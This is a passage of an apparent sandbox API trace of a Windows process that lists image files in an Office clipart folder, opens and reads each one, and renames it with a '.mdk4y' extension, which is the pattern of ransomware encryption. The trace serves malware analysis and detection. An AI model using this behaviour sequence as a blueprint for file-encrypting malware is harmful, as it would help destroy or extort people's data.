1 [0172.291] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.291] AreFileApisANSI () returned 1 [0172.291] GetACP () returned 0x4e4 [0172.291] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01236U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01236U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.291] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.292] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.294] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.mdk4y")) returned 1 [0172.294] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.294] AreFileApisANSI () returned 1 [0172.294] GetACP () returned 0x4e4 [0172.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01239K.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01239K.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.295] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.295] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1764, lpOverlapped=0x0) returned 1 [0172.311] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.mdk4y")) returned 1 [0172.311] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.311] AreFileApisANSI () returned 1 [0172.311] GetACP () returned 0x4e4 [0172.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01247U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01247U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.312] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.312] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c08, lpOverlapped=0x0) returned 1 [0172.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.mdk4y")) returned 1 [0172.317] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.317] AreFileApisANSI () returned 1 [0172.317] GetACP () returned 0x4e4 [0172.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01255G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01255G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.318] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e55, lpOverlapped=0x0) returned 1 [0172.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.mdk4y")) returned 1 [0172.355] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.355] AreFileApisANSI () returned 1 [0172.355] GetACP () returned 0x4e4 [0172.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01265U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01265U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.355] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.356] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c08, lpOverlapped=0x0) returned 1 [0172.358] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.mdk4y")) returned 1 [0172.359] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.359] AreFileApisANSI () returned 1 [0172.359] GetACP () returned 0x4e4 [0172.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01332U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01332U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.359] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.360] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.mdk4y")) returned 1 [0172.363] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.363] AreFileApisANSI () returned 1 [0172.363] GetACP () returned 0x4e4 [0172.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01478U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01478U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.363] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.364] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.mdk4y")) returned 1 [0172.367] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.367] AreFileApisANSI () returned 1 [0172.367] GetACP () returned 0x4e4 [0172.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01562U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01562U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.368] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.370] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.mdk4y")) returned 1 [0172.371] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.371] AreFileApisANSI () returned 1 [0172.371] GetACP () returned 0x4e4 [0172.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01607U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01607U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.371] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.373] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.mdk4y")) returned 1 [0172.392] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.392] AreFileApisANSI () returned 1 [0172.392] GetACP () returned 0x4e4 [0172.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH01931J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH01931J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.392] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.393] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9abe, lpOverlapped=0x0) returned 1 [0172.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.mdk4y")) returned 1 [0172.398] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.399] AreFileApisANSI () returned 1 [0172.399] GetACP () returned 0x4e4 [0172.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02028K.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02028K.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.400] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x451e, lpOverlapped=0x0) returned 1 [0172.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.mdk4y")) returned 1 [0172.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.404] AreFileApisANSI () returned 1 [0172.404] GetACP () returned 0x4e4 [0172.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02039U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02039U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.405] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.mdk4y")) returned 1 [0172.444] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.444] AreFileApisANSI () returned 1 [0172.444] GetACP () returned 0x4e4 [0172.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02040U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02040U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.444] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.445] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7db8, lpOverlapped=0x0) returned 1 [0172.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.mdk4y")) returned 1 [0172.448] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.448] AreFileApisANSI () returned 1 [0172.448] GetACP () returned 0x4e4 [0172.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02053J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02053J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.448] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.450] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6afc, lpOverlapped=0x0) returned 1 [0172.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.mdk4y")) returned 1 [0172.461] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.461] AreFileApisANSI () returned 1 [0172.461] GetACP () returned 0x4e4 [0172.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02058U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02058U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.461] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.462] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.mdk4y")) returned 1 [0172.465] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.465] AreFileApisANSI () returned 1 [0172.465] GetACP () returned 0x4e4 [0172.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02062U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02062U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.465] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.466] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ce0, lpOverlapped=0x0) returned 1 [0172.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.mdk4y")) returned 1 [0172.484] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.484] AreFileApisANSI () returned 1 [0172.484] GetACP () returned 0x4e4 [0172.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02069J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02069J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0172.485] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.485] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7297, lpOverlapped=0x0) returned 1 [0172.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.mdk4y")) returned 1 [0172.561] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.561] AreFileApisANSI () returned 1 [0172.561] GetACP () returned 0x4e4 [0172.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02071U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02071U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0172.561] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.562] ReadFile (in: hFile=0xd8, 